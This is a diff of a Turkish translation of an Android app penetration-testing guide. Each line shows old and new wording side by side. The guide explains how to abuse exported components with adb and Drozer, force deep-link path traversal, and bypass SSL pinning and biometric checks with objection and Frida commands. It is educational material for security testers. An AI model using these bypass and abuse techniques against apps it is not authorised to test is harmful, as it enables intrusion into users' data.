- **APK'yı obfuscate etmek** saldırganların tersine mühendislik işini zorlaştırmak için önerilir. - **APK'yı obfuscate etmek** saldırganların tersine mühendislik işini zorlaştırmak için önerilir.
- Uygulama hassas ise (bankacılık uygulamaları gibi), **mobilin köklenip köklenmediğini kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir. - Uygulama hassas ise (örneğin banka uygulamaları), **mobilin root'lu olup olmadığını kontrol etmelidir** ve buna göre hareket etmelidir.
- Uygulama hassas ise (bankacılık uygulamaları gibi), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir. - Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir.
- Uygulama hassas ise (bankacılık uygulamaları gibi), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir** ve değiştirilip değiştirilmediğini kontrol etmelidir. - Uygulama hassas ise (örneğin banka uygulamaları), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**.
- [**APKiD**](https://github.com/rednaga/APKiD) kullanarak APK'nın hangi derleyici/paketleyici/obfuscator ile oluşturulduğunu kontrol edin. - [**APKiD**](https://github.com/rednaga/APKiD) kullanarak APK'nın hangi derleyici/paketleyici/obfuscator ile oluşturulduğunu kontrol edin.
### React Native Uygulaması ### React Native Uygulaması
@ -198,9 +198,9 @@ bypass-biometric-authentication-android.md
### Diğer İlginç Fonksiyonlar ### Diğer İlginç Fonksiyonlar
- **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **SMS Gönderme**: `sendTextMessage, sendMultipartTestMessage` - **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage`
- **Native fonksiyonlar** `native` olarak tanımlanır: `public native, System.loadLibrary, System.load` - **Native fonksiyonlar** `native` olarak tanımlanır: `public native, System.loadLibrary, System.load`
- [Native fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md) - [Native fonksiyonları **tersine çevirmeyi öğrenmek için bunu okuyun**](reversing-native-libraries.md)
### **Diğer Hileler** ### **Diğer Hileler**
@ -214,7 +214,7 @@ content-protocol.md
## Dinamik Analiz ## Dinamik Analiz
> Öncelikle, uygulamayı ve tüm ortamı (özellikle Burp CA sertifikası, Drozer ve Frida) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, köklü bir cihaz (emüle edilmiş veya değil) son derece önerilir. > Öncelikle, uygulamayı ve tüm ortamı (özellikle Burp CA sertifikası, Drozer ve Frida) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, root'lu bir cihaz (emüle edilmiş veya değil) son derece önerilir.
### Çevrimiçi Dinamik Analiz ### Çevrimiçi Dinamik Analiz
@ -230,18 +230,18 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla
#### Bir emülatör kullanarak #### Bir emülatör kullanarak
- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**son x86** sürümleri ARM kütüphanelerini yavaş bir arm emülatörüne ihtiyaç duymadan destekler). - [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**son x86** sürümleri ARM kütüphanelerini destekler, yavaş bir arm emülatörüne ihtiyaç duymadan).
- Kurulumunu bu sayfada öğrenin: - Kurulumunu bu sayfada öğrenin:
{{#ref}} {{#ref}}
avd-android-virtual-device.md avd-android-virtual-device.md
{{#endref}} {{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile birlikte sürümü **indirin** önerilir._) - [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile **sürümü indirmek** önerilir._)
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez). - [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez).
> [!NOTE] > [!NOTE]
> Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışır. Bu nedenle, mümkünse küçük ekranlar seçin. > Herhangi bir platformda yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle, mümkünse küçük ekranlar seçin.
Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir: Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir:
@ -251,7 +251,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
#### Fiziksel bir cihaz kullanma #### Fiziksel bir cihaz kullanma
**Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **köklemek** iyi olur: **Hata ayıklama** seçeneklerini etkinleştirmeniz gerekir ve cihazı **root'lamak** iyi olur:
1. **Ayarlar**. 1. **Ayarlar**.
2. (Android 8.0'dan itibaren) **Sistem**'i seçin. 2. (Android 8.0'dan itibaren) **Sistem**'i seçin.
@ -260,7 +260,7 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo
5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız. 5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız.
> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\ > Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\
> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi gerçekleştirmenizi öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebilirsiniz. > **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebilirsiniz.
### İstenmeyen Veri Sızıntısı ### İstenmeyen Veri Sızıntısı
@ -270,15 +270,15 @@ Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa
> [!WARNING] > [!WARNING]
> **Android 4.0'dan** itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\ > **Android 4.0'dan** itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\
> Yine de, **hassas bilgileri günlüklememek** önerilir. > Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir.
**Kopyala/Yapıştır Tamponu Önbellekleme** **Kopyala/Yapıştır Tamponu Önbellekleme**
Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi veri sızıntılarını önlemek için kritik öneme sahiptir. Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini **devre dışı bırakmak** kritik öneme sahiptir, örneğin kredi kartı bilgileri gibi, veri sızıntılarını önlemek için.
**Çökme Günlükleri** **Çökme Günlükleri**
Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik ile çözülemezse. Bu riski azaltmak için, çökme durumunda günlük kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun. Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik ile çözülemezse. Bu riski azaltmak için, çökme durumunda günlük kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilecekse, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**. Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**.
@ -295,26 +295,26 @@ Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygul
Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <table_name>` ile listeleyin. Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <table_name>` ile listeleyin.
### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Servisler) ### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Hizmetler)
[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Androidin Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve işletim sistemi ile etkileşimde bulunabilir.\ [Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Androidin Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve işletim sisteminin alt katmanlarıyla etkileşimde bulunabilir.\
Drozer, **ihracat yapılmış aktiviteleri, ihracat yapılmış servisleri ve İçerik Sağlayıcıları** istismar etmek için faydalı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz. Drozer, **dışa aktarılan aktiviteleri, dışa aktarılan hizmetleri ve İçerik Sağlayıcıları** istismar etmek için faydalı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz.
### İhracat Yapılmış Aktiviteleri İstismar Etme ### Dışa Aktarılan Aktiviteleri İstismar Etme
[**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\ [**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın. Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın.
**Yetkilendirme atlatma** **Yetkilendirme atlatma**
Bir Aktivite ihracat yapıldığında, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edilmişse, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.** Bir Aktivite dışa aktarıldığında, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **dışa aktarıldıysa**, **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz**.
[**Drozer ile ihracat yapılmış aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/#activities) [**Drozer ile dışa aktarılan aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/#activities)
Ayrıca, adb'den bir ihracat yapılmış aktivite başlatabilirsiniz: Ayrıca, adb'den dışa aktarılan bir aktivite başlatabilirsiniz:
- Paket Adı com.example.demo - Paket Adı com.example.demo
- İhracat Yapılmış Aktivite Adı com.example.test.MainActivity - Dışa Aktarılan Aktivite Adı com.example.test.MainActivity
```bash ```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity adb shell am start -n com.example.demo/com.example.test.MainActivity
``` ```
@ -334,29 +334,29 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını
### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon ### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon
[**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\ [**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\
İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamada mevcut içerik sağlayıcılar varsa, onlardan **hassas** verileri **çıkarma** imkanınız olabilir. Ayrıca olası **SQL enjeksiyonlarını** ve **Path Traversals**'ı test etmek de ilginçtir çünkü bunlar zayıf olabilir. İçerik sağlayıcılar temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamada mevcut içerik sağlayıcılar varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals**'ı test etmek de ilginçtir çünkü bunlar zayıf olabilir.
[**Drozer ile İçerik Sağlayıcıları nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/#content-providers) [**Drozer ile İçerik Sağlayıcıları nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/#content-providers)
### **Hizmetleri Sömürme** ### **Hizmetleri Sömürme**
[**Bir Hizmetin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\ [**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\
Bir Hizmetin eylemlerinin `onStartCommand` metodunda başladığını unutmayın. Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\ Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\
[**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/#services) [**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/#services)
### **Broadcast Alıcılarını Sömürme** ### **Yayın Alıcılarını Sömürme**
[**Bir Broadcast Alıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\ [**Bir Yayın Alıcısının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\
Bir Broadcast Alıcının eylemlerinin `onReceive` metodunda başladığını unutmayın. Bir Yayın Alıcısının eylemlerinin `onReceive` metodunda başladığını unutmayın.
Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak zayıf olabilir.\ Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\
[**Drozer ile Broadcast Alıcılarını nasıl sömüreceğinizi öğrenin.**](./#exploiting-broadcast-receivers) [**Drozer ile Yayın Alıcılarını nasıl sömüreceğinizi öğrenin.**](./#exploiting-broadcast-receivers)
### **Şemaları / Derin bağlantıları Sömürme** ### **Şemaları / Derin bağlantıları Sömürme**
Derin bağlantıları manuel olarak, MobSF gibi araçlar veya [bu script](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi scriptler kullanarak arayabilirsiniz.\ Derin bağlantıları manuel olarak, MobSF gibi araçlar veya [bu](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi betikler kullanarak arayabilirsiniz.\
Bir tanımlı **şemayı** **adb** veya bir **tarayıcı** kullanarak **açabilirsiniz**: Bir tanımlı **şemayı** **adb** veya bir **tarayıcı** kullanarak **açabilirsiniz**:
```bash ```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
@ -370,7 +370,7 @@ _Not edin ki **paket adını atlayabilirsiniz** ve mobil otomatik olarak o bağl
``` ```
**Kod çalıştırıldı** **Kod çalıştırıldı**
Uygulamada **çalıştırılacak kodu bulmak için**, derin bağlantıyla çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın. Uygulamada **çalıştırılacak kodu** bulmak için, derin bağlantıyla çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
![](<../../images/image (436) (1) (1) (1).png>) ![](<../../images/image (436) (1) (1) (1).png>)
@ -380,7 +380,7 @@ Her derin bağlantı bulduğunuzda, **URL parametreleri aracılığıyla hassas
**Yolda parametreler** **Yolda parametreler**
**URL'nin yolunda bir parametre kullanılıp kullanılmadığını da kontrol etmelisiniz**; örneğin: `https://api.example.com/v1/users/{username}`. Bu durumda, bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ **URL'nin yolunda bir parametre kullanan herhangi bir derin bağlantıyı da kontrol etmelisiniz**; örneğin: `https://api.example.com/v1/users/{username}`. Bu durumda, `example://app/users?username=../../unwanted-endpoint%3fparam=value` gibi bir yol geçişi zorlayabilirsiniz.\
Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğer yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (eğer kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve zayıf uç nokta doğru yöntemi kullanıyorsa) ve diğer zayıflıkları tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/). Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğer yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (eğer kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve zayıf uç nokta doğru yöntemi kullanıyorsa) ve diğer zayıflıkları tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/).
**Daha fazla örnek** **Daha fazla örnek**
@ -390,8 +390,8 @@ Bağlantılar hakkında [ilginç bir hata ödül raporu](https://hackerone.com/r
### Taşıma Katmanı İncelemesi ve Doğrulama Hataları ### Taşıma Katmanı İncelemesi ve Doğrulama Hataları
- **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır. - **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır.
- **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortada (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır. - **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortası (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır.
- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken, diğer işlemler için güvensiz kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verileri kötü niyetli varlıkların ele geçirmesinden korumaz. - **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken ancak diğer işlemler için güvensiz kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verileri kötü niyetli varlıkların ele geçirmesinden korumaz.
#### Sertifika Doğrulama #### Sertifika Doğrulama
@ -403,7 +403,7 @@ SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bi
#### Trafik İncelemesi #### Trafik İncelemesi
HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifika yüklenmeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gereklidir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafik proxy üzerinden görünmeyebilir. Özel CA sertifikası yükleme rehberi için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
**API Seviye 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenliği Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenliği Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md). **API Seviye 24 ve üzeri** hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Ağ Güvenliği Yapılandırmasında değişiklikler gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenliği Yapılandırmasını değiştirme talimatları için, [**bu eğitime başvurun**](make-apk-accept-ca-certificate.md).
@ -411,11 +411,11 @@ HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek**
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur: SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur:
- **apk'yi otomatik olarak değiştirerek** SSL Pinning'i [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) ile **atlatabilirsiniz**. Bu seçeneğin en iyi yanı, SSL Pinning'i atlatmak için root'a ihtiyacınız olmamasıdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir. - **apk'yi otomatik olarak değiştirerek** SSL Pinning'i [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) ile **atlatabilirsiniz**. Bu seçeneğin en iyi avantajı, SSL Pinning'i atlatmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir.
- Bu korumayı atlatmak için **Frida** kullanabilirsiniz (aşağıda tartışılmaktadır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Bu korumayı atlatmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **SSL Pinning'i otomatik olarak atlatmayı** [**objection**](frida-tutorial/objection-tutorial.md)** ile deneyebilirsiniz:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - **SSL Pinning'i otomatik olarak atlatmayı** [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` kullanarak deneyebilirsiniz.
- **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak atlatmayı** deneyebilirsiniz (aşağıda açıklanmıştır). - **MobSF dinamik analizi** kullanarak da **SSL Pinning'i otomatik olarak atlatmayı** deneyebilirsiniz (aşağıda açıklanmıştır).
- Hala yakalamadığınız bir trafik olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) - Hala yakalamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Yaygın Web Zayıflıklarını Arama #### Yaygın Web Zayıflıklarını Arama
@ -423,7 +423,7 @@ Uygulama içinde yaygın web zayıflıklarını da aramak önemlidir. Bu zayıfl
### Frida ### Frida
[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik bir enstrümantasyon aracıdır.\ [Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik enstrümantasyon araç takımıdır.\
**Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri bağlayarak davranışları değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\ **Çalışan uygulamaya erişebilir ve çalışma zamanında yöntemleri bağlayarak davranışları değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanacağınızı bilmelisiniz. Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanacağınızı bilmelisiniz.
@ -468,13 +468,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
``` ```
### **Arka Plan Görüntüleri** ### **Arka Plan Görüntüleri**
Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulamadan önce görüntüyü yüklemeye başlar, bu da uygulamanın daha hızlı yüklendiği izlenimini verir. Bir uygulamayı arka plana aldığınızda, Android **uygulamanın bir anlık görüntüsünü** saklar, böylece ön plana geri döndüğünde, uygulama yüklenmeden önce görüntüyü yüklemeye başlar, bu da uygulamanın daha hızlı yüklendiği izlenimini verir.
Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişmek için root gereklidir). Ancak, bu anlık görüntü **hassas bilgiler** içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalıp alabilir** (erişim için root gereklidir).
Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`** Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`**
Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller. Android, **FLAG_SECURE** düzen parametresini ayarlayarak ekran görüntüsü alımını **önlemenin** bir yolunu sunar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak kabul edilir, bu da ekran görüntülerinde görünmesini veya güvenli olmayan ekranlarda görüntülenmesini engeller.
```bash ```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
``` ```
@ -484,20 +484,20 @@ Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı
### Intent Enjeksiyonu ### Intent Enjeksiyonu
Geliştiriciler genellikle bu Intents'leri işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir. Geliştiriciler genellikle bu Intents'i işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi yöntemlere ileten proxy bileşenleri, aktiviteleri, hizmetleri ve yayın alıcıları oluştururlar; bu da riskli olabilir.
